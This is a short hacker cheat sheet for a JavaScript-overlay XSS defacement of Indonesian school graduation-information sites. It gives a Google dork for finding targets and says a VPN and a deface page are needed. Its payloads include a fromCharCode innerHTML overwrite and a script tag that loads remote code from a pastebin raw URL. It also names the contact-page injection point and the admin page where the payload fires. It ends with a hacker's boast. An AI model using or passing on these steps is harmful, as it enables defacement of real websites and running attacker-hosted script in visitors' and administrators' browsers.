XSS/JavasriptOverlay (JSO)

Dork :
- intitle:"Aplikasi sistem informasi kelulusan"

Need :
- VPN
- Deface page html
- https://apaa.or.id/jso.php
- https://pastebin.com

Code :
- document.documentElement.innerHTML=String.fromCharCode()
- <script type="text/javascript" src="https://pastebin.com/raw/exemple"></script>

Exploit :
/index.php?page=contact

Access :
/admin/hubungi.php

Nxstro is god